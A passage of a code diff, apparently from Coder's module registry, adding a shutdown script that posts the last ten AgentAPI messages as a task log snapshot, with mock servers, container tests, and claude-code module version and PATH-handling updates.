+        `HTTP_CODE=${httpCode} nohup node /usr/local/bin/mock-coder 18080 > /tmp/mock-coder.log 2>&1 &`,
+      ]);
+
+      await new Promise((resolve) => setTimeout(resolve, 1000));
+    };
+
+    const runShutdownScript = async (
+      containerId: string,
+      taskId: string = "test-task",
+    ) => {
+      const shutdownScript = await loadTestFile(
+        import.meta.dir,
+        "../scripts/agentapi-shutdown.sh",
+      );
+
+      await writeExecutable({
+        containerId,
+        filePath: "/tmp/shutdown.sh",
+        content: shutdownScript,
+      });
+
+      return await execContainer(containerId, [
+        "bash",
+        "-c",
+        `ARG_TASK_ID=${taskId} ARG_AGENTAPI_PORT=3284 CODER_AGENT_URL=http://localhost:18080 CODER_AGENT_TOKEN=test-token /tmp/shutdown.sh`,
+      ]);
+    };
+
+    test("posts snapshot with normal messages", async () => {
+      const { id } = await setup({
+        moduleVariables: {},
+        skipAgentAPIMock: true,
+      });
+
+      await setupMocks(id, "normal");
+      const result = await runShutdownScript(id);
+
+      expect(result.exitCode).toBe(0);
+      expect(result.stdout).toContain("Retrieved 5 messages for log snapshot");
+      expect(result.stdout).toContain("Log snapshot posted successfully");
+
+      const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
+      const snapshot = JSON.parse(posted);
+      expect(snapshot.task_id).toBe("test-task");
+      expect(snapshot.payload.messages).toHaveLength(5);
+      expect(snapshot.payload.messages[0].content).toBe("Hello");
+      expect(snapshot.payload.messages[4].content).toBe("Great");
+    });
+
+    test("truncates to last 10 messages", async () => {
+      const { id } = await setup({
+        moduleVariables: {},
+        skipAgentAPIMock: true,
+      });
+
+      await setupMocks(id, "many");
+      const result = await runShutdownScript(id);
+
+      expect(result.exitCode).toBe(0);
+
+      const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
+      const snapshot = JSON.parse(posted);
+      expect(snapshot.task_id).toBe("test-task");
+      expect(snapshot.payload.messages).toHaveLength(10);
+      expect(snapshot.payload.messages[0].content).toBe("Message 6");
+      expect(snapshot.payload.messages[9].content).toBe("Message 15");
+    });
+
+    test("truncates huge message content", async () => {
+      const { id } = await setup({
+        moduleVariables: {},
+        skipAgentAPIMock: true,
+      });
+
+      await setupMocks(id, "huge");
+      const result = await runShutdownScript(id);
+
+      expect(result.exitCode).toBe(0);
+      expect(result.stdout).toContain("truncating final message content");
+
+      const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
+      const snapshot = JSON.parse(posted);
+      expect(snapshot.task_id).toBe("test-task");
+      expect(snapshot.payload.messages).toHaveLength(1);
+      expect(snapshot.payload.messages[0].content).toContain(
+        "[...content truncated",
+      );
+    });
+
+    test("skips gracefully when TASK_ID is empty", async () => {
+      const { id } = await setup({
+        moduleVariables: {},
+        skipAgentAPIMock: true,
+      });
+
+      const result = await runShutdownScript(id, "");
+
+      expect(result.exitCode).toBe(0);
+      expect(result.stdout).toContain("No task ID, skipping log snapshot");
+    });
+
+    test("handles 404 gracefully for older Coder versions", async () => {
+      const { id } = await setup({
+        moduleVariables: {},
+        skipAgentAPIMock: true,
+      });
+
+      await setupMocks(id, "normal", 404);
+      const result = await runShutdownScript(id);
+
+      expect(result.exitCode).toBe(0);
+      expect(result.stdout).toContain(
+        "Log snapshot endpoint not supported by this Coder version",
+      );
+    });
+  });
 });
@@ -4,7 +4,7 @@ terraform {
  required_providers {
    coder = {
      source  = "coder/coder"
-      version = ">= 2.12"
+      version = ">= 2.13"
    }
  }
 }
@@ -18,6 +18,8 @@ data "coder_workspace" "me" {}

 data "coder_workspace_owner" "me" {}

+data "coder_task" "me" {}
+
 variable "web_app_order" {
  type        = number
  description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)."
@@ -126,6 +128,12 @@ variable "agentapi_port" {
  default     = 3284
 }

+variable "task_log_snapshot" {
+  type        = bool
+  description = "Capture last 10 messages when workspace stops for offline viewing while task is paused."
+  default     = true
+}
+
 locals {
  # agentapi_subdomain_false_min_version_expr matches a semantic version >= v0.3.3.
  # Initial support was added in v0.3.1 but configuration via environment variable
@@ -173,6 +181,7 @@ locals {
  //     for backward compatibility.
  agentapi_chat_base_path = var.agentapi_subdomain ? "" : "/@${data.coder_workspace_owner.me.name}/${data.coder_workspace.me.name}.${var.agent_id}/apps/${var.web_app_slug}/chat"
  main_script             = file("${path.module}/scripts/main.sh")
+  shutdown_script         = file("${path.module}/scripts/agentapi-shutdown.sh")
 }

 resource "coder_script" "agentapi" {
@@ -198,11 +207,32 @@ resource "coder_script" "agentapi" {
    ARG_POST_INSTALL_SCRIPT="$(echo -n '${local.encoded_post_install_script}' | base64 -d)" \
    ARG_AGENTAPI_PORT='${var.agentapi_port}' \
    ARG_AGENTAPI_CHAT_BASE_PATH='${local.agentapi_chat_base_path}' \
+    ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
+    ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
    /tmp/main.sh
    EOT
  run_on_start = true
 }

+resource "coder_script" "agentapi_shutdown" {
+  agent_id     = var.agent_id
+  display_name = "AgentAPI Shutdown"
+  icon         = var.web_app_icon
+  run_on_stop  = true
+  script       = <<-EOT
+    #!/bin/bash
+    set -o pipefail
+
+    echo -n '${base64encode(local.shutdown_script)}' | base64 -d > /tmp/agentapi-shutdown.sh
+    chmod +x /tmp/agentapi-shutdown.sh
+
+    ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
+    ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
+    ARG_AGENTAPI_PORT='${var.agentapi_port}' \
+    /tmp/agentapi-shutdown.sh
+    EOT
+}
+
 resource "coder_app" "agentapi_web" {
  slug         = var.web_app_slug
  display_name = var.web_app_display_name
@@ -0,0 +1,212 @@
+#!/usr/bin/env bash
+# AgentAPI shutdown script.
+#
+# Captures the last 10 messages from AgentAPI and posts them to Coder instance
+# as a snapshot. This script is called during workspace shutdown to access
+# conversation history for paused tasks.
+
+set -euo pipefail
+
+# Configuration (set via Terraform interpolation).
+readonly TASK_ID="${ARG_TASK_ID:-}"
+readonly TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
+readonly AGENTAPI_PORT="${ARG_AGENTAPI_PORT:-3284}"
+
+# Runtime environment variables.
+readonly CODER_AGENT_URL="${CODER_AGENT_URL:-}"
+readonly CODER_AGENT_TOKEN="${CODER_AGENT_TOKEN:-}"
+
+# Constants.
+readonly MAX_PAYLOAD_SIZE=65536    # 64KB
+readonly MAX_MESSAGE_CONTENT=57344 # 56KB
+readonly MAX_MESSAGES=10
+readonly FETCH_TIMEOUT=5
+readonly POST_TIMEOUT=10
+
+log() {
+  echo "$*"
+}
+
+error() {
+  echo "Error: $*" >&2
+}
+
+fetch_and_build_messages_payload() {
+  local payload_file="$1"
+  local messages_url="http://localhost:${AGENTAPI_PORT}/messages"
+
+  log "Fetching messages from AgentAPI on port $AGENTAPI_PORT"
+
+  if ! curl -fsSL --max-time "$FETCH_TIMEOUT" "$messages_url" > "$payload_file"; then
+    error "Failed to fetch messages from AgentAPI (may not be running)"
+    return 1
+  fi
+
+  # Update messages field to keep only last N messages.
+  if ! jq --argjson n "$MAX_MESSAGES" '.messages |= .[-$n:]' < "$payload_file" > "${payload_file}.tmp"; then
+    error "Failed to select last $MAX_MESSAGES messages"
+    return 1
+  fi
+  mv "${payload_file}.tmp" "$payload_file"
+
+  return 0
+}
+
+truncate_messages_payload_to_size() {
+  local payload_file="$1"
+  local max_size="$2"
+
+  while true; do
+    local size
+    size=$(wc -c < "$payload_file")
+
+    if ((size <= max_size)); then
+      break
+    fi
+
+    local count
+    count=$(jq '.messages | length' < "$payload_file")
+
+    if ((count == 1)); then
+      # Down to last message, truncate its content keeping the tail.
+      log "Payload size $size bytes exceeds limit, truncating final message content"
+
+      # Keep tail of content with truncation indicator, leaving room for JSON
+      # overhead.
+      if ! jq --argjson maxlen "$MAX_MESSAGE_CONTENT" '.messages[0].content |= (if length > $maxlen then "[...content truncated, showing last 56KB...]\n\n" + .[-$maxlen:] else . end)' < "$payload_file" > "${payload_file}.tmp"; then
+        error "Failed to truncate message content"
+        return 1
+      fi
+      mv "${payload_file}.tmp" "$payload_file"
+
+      # Verify the truncation was sufficient.
+      size=$(wc -c < "$payload_file")
+      if ((size > max_size)); then
+        error "Payload still too large after content truncation, giving up"
+        return 1
+      fi
+      break
+    else
+      # More than one message, remove the oldest.
+      log "Payload size $size bytes exceeds limit, removing oldest message"
+
+      if ! jq '.messages |= .[1:]' < "$payload_file" > "${payload_file}.tmp"; then
+        error "Failed to remove oldest message"
+        return 1
+      fi
+      mv "${payload_file}.tmp" "$payload_file"
+    fi
+  done
+
+  return 0
+}
+
+post_task_log_snapshot() {
+  local payload_file="$1"
+  local tmpdir="$2"
+
+  local snapshot_url="${CODER_AGENT_URL}/api/v2/workspaceagents/me/tasks/${TASK_ID}/log-snapshot?format=agentapi"
+  local response_file="${tmpdir}/response.txt"
+
+  log "Posting log snapshot to Coder instance"
+
+  local http_code
+  if ! http_code=$(curl -sS -w "%{http_code}" -o "$response_file" \
+    --max-time "$POST_TIMEOUT" \
+    -X POST "$snapshot_url" \
+    -H "Coder-Session-Token: $CODER_AGENT_TOKEN" \
+    -H "Content-Type: application/json" \
+    --data-binary "@$payload_file"); then
+    error "Failed to connect to Coder instance (curl failed)"
+    return 1
+  fi
+
+  if [[ $http_code == 204 ]]; then
+    log "Log snapshot posted successfully"
+    return 0
+  elif [[ $http_code == 404 ]]; then
+    log "Log snapshot endpoint not supported by this Coder version, skipping"
+    return 0
+  else
+    local response
+    response=$(cat "$response_file" 2> /dev/null || echo "")
+    error "Failed to post log snapshot (HTTP $http_code): $response"
+    return 1
+  fi
+}
+
+capture_task_log_snapshot() {
+  if [[ -z $TASK_ID ]]; then
+    log "No task ID, skipping log snapshot"
+    exit 0
+  fi
+
+  if [[ -z $CODER_AGENT_URL ]]; then
+    error "CODER_AGENT_URL not set, cannot capture log snapshot"
+    exit 1
+  fi
+
+  if [[ -z $CODER_AGENT_TOKEN ]]; then
+    error "CODER_AGENT_TOKEN not set, cannot capture log snapshot"
+    exit 1
+  fi
+
+  if ! command -v jq > /dev/null 2>&1; then
+    error "jq not found, cannot capture log snapshot"
+    exit 1
+  fi
+
+  if ! command -v curl > /dev/null 2>&1; then
+    error "curl not found, cannot capture log snapshot"
+    exit 1
+  fi
+
+  tmpdir=$(mktemp -d)
+  trap 'rm -rf "$tmpdir"' EXIT
+
+  local payload_file="${tmpdir}/payload.json"
+
+  if ! fetch_and_build_messages_payload "$payload_file"; then
+    error "Cannot capture log snapshot without messages"
+    exit 1
+  fi
+
+  local message_count
+  message_count=$(jq '.messages | length' < "$payload_file")
+  if ((message_count == 0)); then
+    log "No messages for log snapshot"
+    exit 0
+  fi
+
+  log "Retrieved $message_count messages for log snapshot"
+
+  # Ensure payload fits within size limit.
+  if ! truncate_messages_payload_to_size "$payload_file" "$MAX_PAYLOAD_SIZE"; then
+    error "Failed to truncate payload to size limit"
+    exit 1
+  fi
+
+  local final_size final_count
+  final_size=$(wc -c < "$payload_file")
+  final_count=$(jq '.messages | length' < "$payload_file")
+  log "Log snapshot payload: $final_size bytes, $final_count messages"
+
+  if ! post_task_log_snapshot "$payload_file" "$tmpdir"; then
+    error "Log snapshot capture failed"
+    exit 1
+  fi
+}
+
+main() {
+  log "Shutting down AgentAPI"
+
+  if [[ $TASK_LOG_SNAPSHOT == true ]]; then
+    capture_task_log_snapshot
+  else
+    log "Log snapshot disabled, skipping"
+  fi
+
+  log "Shutdown complete"
+}
+
+main "$@"
@@ -14,6 +14,8 @@ WAIT_FOR_START_SCRIPT="$ARG_WAIT_FOR_START_SCRIPT"
 POST_INSTALL_SCRIPT="$ARG_POST_INSTALL_SCRIPT"
 AGENTAPI_PORT="$ARG_AGENTAPI_PORT"
 AGENTAPI_CHAT_BASE_PATH="${ARG_AGENTAPI_CHAT_BASE_PATH:-}"
+TASK_ID="${ARG_TASK_ID:-}"
+TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
 set +o nounset

 command_exists() {
@@ -23,6 +25,13 @@ command_exists() {
 module_path="$HOME/${MODULE_DIR_NAME}"
 mkdir -p "$module_path/scripts"

+# Check for jq dependency if task log snapshot is enabled.
+if [[ $TASK_LOG_SNAPSHOT == true ]] && [[ -n $TASK_ID ]]; then
+  if ! command_exists jq; then
+    echo "Warning: jq is not installed. Task log snapshot requires jq to capture conversation history."
+    echo "Install jq to enable log snapshot functionality when the workspace stops."
+  fi
+fi
 if [ ! -d "${WORKDIR}" ]; then
  echo "Warning: The specified folder '${WORKDIR}' does not exist."
  echo "Creating the folder..."
@@ -0,0 +1,84 @@
+#!/usr/bin/env node
+// Mock AgentAPI server for shutdown script tests.
+// Usage: MESSAGES='[...]' node agentapi-mock-shutdown.js [port]
+
+const http = require("http");
+const port = process.argv[2] || 3284;
+
+// Parse messages from environment or use default
+let messages = [];
+if (process.env.MESSAGES) {
+  try {
+    messages = JSON.parse(process.env.MESSAGES);
+  } catch (e) {
+    console.error("Failed to parse MESSAGES env var:", e.message);
+    process.exit(1);
+  }
+}
+
+// Presets for common test scenarios
+if (process.env.PRESET === "normal") {
+  messages = [
+    { id: 1, type: "input", content: "Hello", time: "2025-01-01T00:00:00Z" },
+    {
+      id: 2,
+      type: "output",
+      content: "Hi there",
+      time: "2025-01-01T00:00:01Z",
+    },
+    {
+      id: 3,
+      type: "input",
+      content: "How are you?",
+      time: "2025-01-01T00:00:02Z",
+    },
+    {
+      id: 4,
+      type: "output",
+      content: "Good!",
+      time: "2025-01-01T00:00:03Z",
+    },
+    { id: 5, type: "input", content: "Great", time: "2025-01-01T00:00:04Z" },
+  ];
+} else if (process.env.PRESET === "many") {
+  messages = Array.from({ length: 15 }, (_, i) => ({
+    id: i + 1,
+    type: "input",
+    content: `Message ${i + 1}`,
+    time: "2025-01-01T00:00:00Z",
+  }));
+} else if (process.env.PRESET === "huge") {
+  messages = [
+    {
+      id: 1,
+      type: "output",
+      content: "x".repeat(70000),
+      time: "2025-01-01T00:00:00Z",
+    },
+  ];
+}
+
+const server = http.createServer((req, res) => {
+  if (req.url === "/messages") {
+    res.writeHead(200, { "Content-Type": "application/json" });
+    res.end(JSON.stringify({ messages }));
+  } else if (req.url === "/status") {
+    res.writeHead(200, { "Content-Type": "application/json" });
+    res.end(JSON.stringify({ status: "stable" }));
+  } else {
+    res.writeHead(404);
+    res.end();
+  }
+});
+
+server.listen(port, () => {
+  console.error(`Mock AgentAPI listening on port ${port}`);
+});
+
+process.on("SIGTERM", () => {
+  server.close(() => process.exit(0));
+});
+
+process.on("SIGINT", () => {
+  server.close(() => process.exit(0));
+});
@@ -0,0 +1,61 @@
+#!/usr/bin/env node
+// Mock Coder instance server for shutdown script tests.
+// Captures POST requests to /log-snapshot endpoint.
+
+const http = require("http");
+const fs = require("fs");
+const port = process.argv[2] || 8080;
+const outputFile = process.env.OUTPUT_FILE || "/tmp/snapshot-posted.json";
+const httpCode = parseInt(process.env.HTTP_CODE || "204", 10);
+
+const server = http.createServer((req, res) => {
+  const url = new URL(req.url, `http://localhost:${port}`);
+
+  // Expected path: /api/v2/workspaceagents/me/tasks/{task_id}/log-snapshot
+  const pathMatch = url.pathname.match(/\/tasks\/([^\/]+)\/log-snapshot$/);
+
+  if (req.method === "POST" && pathMatch) {
+    const taskId = pathMatch[1];
+    let body = "";
+    req.on("data", (chunk) => {
+      body += chunk.toString();
+    });
+
+    req.on("end", () => {
+      // Save captured snapshot with task ID for verification
+      const snapshotData = {
+        task_id: taskId,
+        payload: JSON.parse(body),
+      };
+      fs.writeFileSync(outputFile, JSON.stringify(snapshotData, null, 2));
+      console.error(
+        `Captured snapshot for task ${taskId} (${body.length} bytes) to ${outputFile}`,
+      );
+
+      // Return configured status code
+      res.writeHead(httpCode);
+      res.end();
+    });
+
+    req.on("error", (err) => {
+      console.error("Request error:", err);
+      res.writeHead(500);
+      res.end();
+    });
+  } else {
+    res.writeHead(404);
+    res.end();
+  }
+});
+
+server.listen(port, () => {
+  console.error(`Mock Coder instance listening on port ${port}`);
+});
+
+process.on("SIGTERM", () => {
+  server.close(() => process.exit(0));
+});
+
+process.on("SIGINT", () => {
+  server.close(() => process.exit(0));
+});
@@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude
 ```tf
 module "claude-code" {
  source         = "registry.coder.com/coder/claude-code/coder"
-  version        = "4.7.1"
+  version        = "4.7.5"
  agent_id       = coder_agent.main.id
  workdir        = "/home/coder/project"
  claude_api_key = "xxxx-xxxxx-xxxx"
@@ -47,7 +47,7 @@ By default, when `enable_boundary = true`, the module uses `coder boundary` subc
 ```tf
 module "claude-code" {
  source          = "registry.coder.com/coder/claude-code/coder"
-  version         = "4.7.1"
+  version         = "4.7.5"
  agent_id        = coder_agent.main.id
  workdir         = "/home/coder/project"
  enable_boundary = true
@@ -59,7 +59,7 @@ module "claude-code" {

 ### Usage with AI Bridge

-[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`.
+[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version >= 2.29.0.

 For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.

@@ -68,7 +68,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage
 ```tf
 module "claude-code" {
  source          = "registry.coder.com/coder/claude-code/coder"
-  version         = "4.7.1"
+  version         = "4.7.5"
  agent_id        = coder_agent.main.id
  workdir         = "/home/coder/project"
  enable_aibridge = true
@@ -96,12 +96,11 @@ resource "coder_ai_task" "task" {
 data "coder_task" "me" {}

 module "claude-code" {
-  source         = "registry.coder.com/coder/claude-code/coder"
-  version        = "4.7.1"
-  agent_id       = coder_agent.main.id
-  workdir        = "/home/coder/project"
-  claude_api_key = "xxxx-xxxxx-xxxx"
-  ai_prompt      = data.coder_task.me.prompt
+  source    = "registry.coder.com/coder/claude-code/coder"
+  version   = "4.7.5"
+  agent_id  = coder_agent.main.id
+  workdir   = "/home/coder/project"
+  ai_prompt = data.coder_task.me.prompt

  # Optional: route through AI Bridge (Premium feature)
  # enable_aibridge = true
@@ -121,7 +120,7 @@ This example shows additional configuration options for version pinning, custom
 ```tf
 module "claude-code" {
  source   = "registry.coder.com/coder/claude-code/coder"
-  version  = "4.7.1"
+  version  = "4.7.5"
  agent_id = coder_agent.main.id
  workdir  = "/home/coder/project"

@@ -177,7 +176,7 @@ Run and configure Claude Code as a standalone CLI in your workspace.
 ```tf
 module "claude-code" {
  source              = "registry.coder.com/coder/claude-code/coder"
-  version             = "4.7.1"
+  version             = "4.7.5"
  agent_id            = coder_agent.main.id
  workdir             = "/home/coder/project"
  install_claude_code = true
@@ -199,7 +198,7 @@ variable "claude_code_oauth_token" {

 module "claude-code" {
  source                  = "registry.coder.com/coder/claude-code/coder"
-  version                 = "4.7.1"
+  version                 = "4.7.5"
  agent_id                = coder_agent.main.id
  workdir                 = "/home/coder/project"
  claude_code_oauth_token = var.claude_code_oauth_token
@@ -210,7 +209,7 @@ module "claude-code" {

 #### Prerequisites

-AWS account with Bedrock access, Claude models enabled in Bedrock console, appropriate IAM permissions.
+AWS account with Bedrock access, Claude models enabled in Bedrock console, and appropriate IAM permissions.

 Configure Claude Code to use AWS Bedrock for accessing Claude models through your AWS infrastructure.

@@ -272,7 +271,7 @@ resource "coder_env" "bedrock_api_key" {

 module "claude-code" {
  source   = "registry.coder.com/coder/claude-code/coder"
-  version  = "4.7.1"
+  version  = "4.7.5"
  agent_id = coder_agent.main.id
  workdir  = "/home/coder/project"
  model    = "global.anthropic.claude-sonnet-4-5-20250929-v1:0"
@@ -286,7 +285,7 @@ module "claude-code" {

 #### Prerequisites

-GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, appropriate IAM permissions (Vertex AI User role).
+GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, and appropriate IAM permissions (Vertex AI User role).

 Configure Claude Code to use Google Vertex AI for accessing Claude models through Google Cloud Platform.

@@ -329,7 +328,7 @@ resource "coder_env" "google_application_credentials" {

 module "claude-code" {
  source   = "registry.coder.com/coder/claude-code/coder"
-  version  = "4.7.1"
+  version  = "4.7.5"
  agent_id = coder_agent.main.id
  workdir  = "/home/coder/project"
  model    = "claude-sonnet-4@20250514"
@@ -1,5 +1,5 @@
 terraform {
-  required_version = ">= 1.0"
+  required_version = ">= 1.9"

  required_providers {
    coder = {
@@ -208,6 +208,11 @@ variable "claude_binary_path" {
  type        = string
  description = "Directory where the Claude Code binary is located. Use this if Claude is pre-installed or installed outside the module to a non-default location."
  default     = "$HOME/.local/bin"
+
+  validation {
+    condition     = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
+    error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer always installs to $HOME/.local/bin and does not support custom paths."
+  }
 }

 variable "install_via_npm" {
@@ -276,9 +281,11 @@ resource "coder_env" "claude_code_oauth_token" {
 }

 resource "coder_env" "claude_api_key" {
+  count = local.claude_api_key != "" ? 1 : 0
+
  agent_id = var.agent_id
  name     = "CLAUDE_API_KEY"
-  value    = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key
+  value    = local.claude_api_key
 }

 resource "coder_env" "disable_autoupdater" {
@@ -288,18 +295,6 @@ resource "coder_env" "disable_autoupdater" {
  value    = "1"
 }

-resource "coder_env" "claude_binary_path" {
-  agent_id = var.agent_id
-  name     = "PATH"
-  value    = "${var.claude_binary_path}:$PATH"
-
-  lifecycle {
-    precondition {
-      condition     = var.claude_binary_path == "$HOME/.local/bin" || !var.install_claude_code
-      error_message = "Custom claude_binary_path can only be used when install_claude_code is false. The official installer and npm both install to fixed locations."
-    }
-  }
-}

 resource "coder_env" "anthropic_model" {
  count    = var.model != "" ? 1 : 0
@@ -324,7 +319,8 @@ locals {
  start_script    = file("${path.module}/scripts/start.sh")
  module_dir_name = ".claude-module"
  # Extract hostname from access_url for boundary --allow flag
-  coder_host = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
+  coder_host     = replace(replace(data.coder_workspace.me.access_url, "https://", ""), "http://", "")
+  claude_api_key = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key

  # Required prompts for the module to properly report task status to Coder
  report_tasks_system_prompt = <<-EOT
@@ -379,26 +375,27 @@ module "agentapi" {
  pre_install_script   = var.pre_install_script
  post_install_script  = var.post_install_script
  start_script         = <<-EOT
-     #!/bin/bash
-     set -o errexit
-     set -o pipefail
-     echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
-     chmod +x /tmp/start.sh
+    #!/bin/bash
+    set -o errexit
+    set -o pipefail
+    echo -n '${base64encode(local.start_script)}' | base64 -d > /tmp/start.sh
+    chmod +x /tmp/start.sh

-     ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
-     ARG_CONTINUE='${var.continue}' \
-     ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
-     ARG_PERMISSION_MODE='${var.permission_mode}' \
-     ARG_WORKDIR='${local.workdir}' \
-     ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
-     ARG_REPORT_TASKS='${var.report_tasks}' \
-     ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
-     ARG_BOUNDARY_VERSION='${var.boundary_version}' \
-     ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
-     ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
-     ARG_CODER_HOST='${local.coder_host}' \
-     /tmp/start.sh
-   EOT
+    ARG_RESUME_SESSION_ID='${var.resume_session_id}' \
+    ARG_CONTINUE='${var.continue}' \
+    ARG_DANGEROUSLY_SKIP_PERMISSIONS='${var.dangerously_skip_permissions}' \
+    ARG_PERMISSION_MODE='${var.permission_mode}' \
+    ARG_WORKDIR='${local.workdir}' \
+    ARG_AI_PROMPT='${base64encode(var.ai_prompt)}' \
+    ARG_REPORT_TASKS='${var.report_tasks}' \
+    ARG_ENABLE_BOUNDARY='${var.enable_boundary}' \
+    ARG_BOUNDARY_VERSION='${var.boundary_version}' \
+    ARG_COMPILE_FROM_SOURCE='${var.compile_boundary_from_source}' \
+    ARG_USE_BOUNDARY_DIRECTLY='${var.use_boundary_directly}' \
+    ARG_CODER_HOST='${local.coder_host}' \
+    ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \
+    /tmp/start.sh
+  EOT

  install_script = <<-EOT
    #!/bin/bash
@@ -42,7 +42,7 @@ run "test_claude_code_with_api_key" {
  }

  assert {
-    condition     = coder_env.claude_api_key.value == "test-api-key-123"
+    condition     = coder_env.claude_api_key[0].value == "test-api-key-123"
    error_message = "Claude API key value should match the input"
  }
 }
@@ -298,6 +298,13 @@ run "test_aibridge_enabled" {
    enable_aibridge = true
  }

+  override_data {
+    target = data.coder_workspace_owner.me
+    values = {
+      session_token = "mock-session-token"
+    }
+  }
+
  assert {
    condition     = var.enable_aibridge == true
    error_message = "AI Bridge should be enabled"
@@ -314,12 +321,12 @@ run "test_aibridge_enabled" {
  }

  assert {
-    condition     = coder_env.claude_api_key.name == "CLAUDE_API_KEY"
+    condition     = coder_env.claude_api_key[0].name == "CLAUDE_API_KEY"
    error_message = "CLAUDE_API_KEY environment variable should be set"
  }

  assert {
-    condition     = coder_env.claude_api_key.value == data.coder_workspace_owner.me.session_token
+    condition     = coder_env.claude_api_key[0].value == data.coder_workspace_owner.me.session_token
    error_message = "CLAUDE_API_KEY should use workspace owner's session token when aibridge is enabled"
  }
 }
@@ -370,7 +377,7 @@ run "test_aibridge_disabled_with_api_key" {
  }

  assert {
-    condition     = coder_env.claude_api_key.value == "test-api-key-xyz"
+    condition     = coder_env.claude_api_key[0].value == "test-api-key-xyz"
    error_message = "CLAUDE_API_KEY should use the provided API key when aibridge is disabled"
  }

@@ -379,3 +386,18 @@ run "test_aibridge_disabled_with_api_key" {
    error_message = "ANTHROPIC_BASE_URL should not be set when aibridge is disabled"
  }
 }
+
+run "test_no_api_key_no_env" {
+  command = plan
+
+  variables {
+    agent_id        = "test-agent-no-key"
+    workdir         = "/home/coder/test"
+    enable_aibridge = false
+  }
+
+  assert {
+    condition     = length(coder_env.claude_api_key) == 0
+    error_message = "CLAUDE_API_KEY should not be created when no API key is provided and aibridge is disabled"
+  }
+}
@@ -12,6 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
 ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
 ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
 ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
+ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
+ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
 ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
 ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
 ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
@@ -21,6 +23,8 @@ ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-}
 ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-}
 ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}

+export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
+
 echo "--------------------------------"

 printf "ARG_CLAUDE_CODE_VERSION: %s\n" "$ARG_CLAUDE_CODE_VERSION"
@@ -51,39 +55,51 @@ function add_mcp_servers() {
  done < <(echo "$mcp_json" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)')
 }

+function add_path_to_shell_profiles() {
+  local path_dir="$1"
+
+  for profile in "$HOME/.profile" "$HOME/.bash_profile" "$HOME/.bashrc" "$HOME/.zprofile" "$HOME/.zshrc"; do
+    if [ -f "$profile" ]; then
+      if ! grep -q "$path_dir" "$profile" 2> /dev/null; then
+        echo "export PATH=\"\$PATH:$path_dir\"" >> "$profile"
+        echo "Added $path_dir to $profile"
+      fi
+    fi
+  done
+
+  local fish_config="$HOME/.config/fish/config.fish"
+  if [ -f "$fish_config" ]; then
+    if ! grep -q "$path_dir" "$fish_config" 2> /dev/null; then
+      echo "fish_add_path $path_dir" >> "$fish_config"
+      echo "Added $path_dir to $fish_config"
+    fi
+  fi
+}
+
 function ensure_claude_in_path() {
-  if [ -z "${CODER_SCRIPT_BIN_DIR:-}" ]; then
-    echo "CODER_SCRIPT_BIN_DIR not set, skipping PATH setup"
+  local CLAUDE_BIN=""
+  if command -v claude > /dev/null 2>&1; then
+    CLAUDE_BIN=$(command -v claude)
+  elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
+    CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
+  elif [ -x "$HOME/.local/bin/claude" ]; then
+    CLAUDE_BIN="$HOME/.local/bin/claude"
+  fi
+
+  if [ -z "$CLAUDE_BIN" ] || [ ! -x "$CLAUDE_BIN" ]; then
+    echo "Warning: Could not find claude binary"
    return
  fi

-  if [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
-    local CLAUDE_BIN=""
-    if command -v claude > /dev/null 2>&1; then
